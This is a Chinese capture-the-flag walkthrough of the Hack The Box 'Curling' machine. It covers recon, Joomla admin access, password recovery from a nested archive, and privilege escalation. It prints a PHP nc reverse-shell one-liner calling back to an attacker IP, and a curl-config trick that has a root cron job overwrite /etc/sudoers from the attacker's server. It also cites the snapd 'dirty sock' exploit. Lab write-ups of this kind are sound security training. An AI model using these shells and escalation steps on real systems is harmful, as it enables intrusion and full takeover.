本文主要是介绍hackthebox - curling (考点:信息搜集 joomla安全 xxd/bzip/gzip linux修改脚本提权 ubantu snap提权),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
1 扫描
22可能有ssh登录,80进web搜集信息
C:\root> nmap -A 10.10.10.150
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-14 22:47 EDT
Nmap scan report for 10.10.10.150
Host is up (0.25s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
6646/tcp filtered unknown
2 web搜集信息
可以看到floris,可能这个就是用户
dirbuster扫到secret.txt,打开看是base码,拿去解密。
密码是Curling2018!
3 joomla拿shell
dirbuster还扫到登录页面10.10.10.150/administrator/
登录,这个是joomla
有固定的的方法拿shell,从extension进入,在template
那里,有俩模板,多个php文件,随便选一个,修改成自己的弹shell php代码
<?phpsystem('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.43 1337 >/tmp/f');
?>
我选的beez3模板的error.php 改完后,找error.php的位置,既然是在模板里,目录应该是和模板相关的。最后点击10.10.10.150/templates/beez3/error.php
这个。
收到
tty,靶机里装的是python3 python3 -c 'import pty; pty.spawn("/bin/bash")'
4 拿floris的shell
老套路 https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
自动扫
可以看到有密码backup备份文件,当然高度可疑了
用nc传到本机
打开是数字hex,
用xxd解密。又发现是bzip文件,再解,又是gzip文件,就这样不断解,直到发现是tar。再tar解压缩就搞定了。拿到密码5d<wdCbdZu)|hChXll
,直接su floris
,切换到floris
C:\root\htb\curling> xxd -r what > 666
C:\root\htb\curling> file 666
666: bzip2 compressed data, block size = 900k
C:\root\htb\curling> mv 666 666.bzip
C:\root\htb\curling> bzip2 -d 666.bzip
bzip2: Can't guess original name for 666.bzip -- using 666.bzip.out
C:\root\htb\curling> file 666.bzip.out
666.bzip.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141C:\root\htb\curling> mv 666.bzip.out 666.gz
C:\root\htb\curling> gzip -d 666.gz
C:\root\htb\curling> file 666
666: bzip2 compressed data, block size = 900k
C:\root\htb\curling> mv 666 666.bzip
C:\root\htb\curling> bzip2 -d 666.bzip
bzip2: Can't guess original name for 666.bzip -- using 666.bzip.out
C:\root\htb\curling> file 666.bzip.out
666.bzip.out: POSIX tar archive (GNU)
C:\root\htb\curling> mv 666.bzip.out 666.tar
C:\root\htb\curling> tar xvf 666.tar
password.txt
C:\root\htb\curling> cat password.txt
5d<wdCbdZu)|hChXll
C:\root\htb\curling>
5 利用靶机的curl文件提权
目录下有admin-area这个,打开看input和report,这个不就是curl的内容吗,curl靶机的localhost。然后显示在report里
floris@curling:~$ cd admin-area/
floris@curling:~/admin-area$ ls
input report
floris@curling:~/admin-area$ cat input
url = "http://127.0.0.1"
floris@curling:~/admin-area$ cat output
cat: output: No such file or directory
floris@curling:~/admin-area$ cat report
<!DOCTYPE html>
<html lang="en-gb" dir="ltr">
<head><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta charset="utf-8" /><base href="http://127.0.0.1/" /><meta name="description" content="best curling site on the planet!" /><meta name="generator" content="Joomla! - Open Source Content Management" /><title>Home</title><link href="/index.php?format=feed&type=rss" rel="alternate" type="application/rss+xml" title="RSS 2.0" />
。。。。。
我用ls -la
查看这俩文件的权限,以及pspy看进程这里下载,
确认是root在执行的cronjob /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
。
这里就有了提权思路,如果我改一改input,让root在curl时,curl的是我的恶意文件(比如造一个假的/etc/sudoers
,里面我sudo -l
的内容是all),并输出覆盖替换靶机的真文件/etc/sudoers
,完成狸猫换太子。/etc/sudoers
这是管理sudo -l
的地方,sudo -l
是让用户能以root身份执行一些文件。如果我把改成all,我可以sudo -l
执行all,所有文件。那我就是root,就可以提权了。
我先在本机造恶意文件sudoers
,让sudo -l
时,可以以root身份执行all全部,这样其实就是root了
root ALL=(ALL:ALL) ALL
floris ALL=(ALL:ALL) ALL
打开我的http服务python -m SimpleHTTPServer 80
,让靶机可以调用我的恶意文件sudoers
接着,靶机里input,我nano修改它。内容改为如下,也就是给出我的恶意文件地址,让靶机能调我的文件,
然后输出覆盖到靶机的管理sudo -l
命令的地方/etc/sudoers
url = "http://10.10.14.43/sudoers"
output = "/etc/sudoers"
最后保存,因为是cronjob,隔段时间才会执行。我等我的python http 有了显示:GET。靶机已调用,我就知道覆盖已完成。可以sudo -i
切换了。输入之前拿到的floris的密码5d<wdCbdZu)|hChXll
成功 root。因为我之前tty时设置了下屏幕,所以有些乱序和乱码。没影响。
6 利用snap ubantu版本提权
第二种方法,linpeas扫描时,发现是ubantu
ubantu版本提权漏洞挺多的,只要是ubantu就留意查看是否可以用版本提权。
这次用snap查看版本,搜漏洞。小于2.37 都可以
floris@curling:/tmp$ snap version
snap 2.32.8+18.04
snapd 2.32.8+18.04
series 16
ubuntu 18.04
kernel 4.15.0-22-generic
floris@curling:/tmp$
网址https://www.exploit-db.com/exploits/46362
,kali本机里也有。
传送到靶机,python3执行。我虽然是dirty sock,但其实它就是root,sudo + 任何命令都是以root在执行。比如whoami,可见我已是root。拿下
这篇关于hackthebox - curling (考点:信息搜集 joomla安全 xxd/bzip/gzip linux修改脚本提权 ubantu snap提权)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!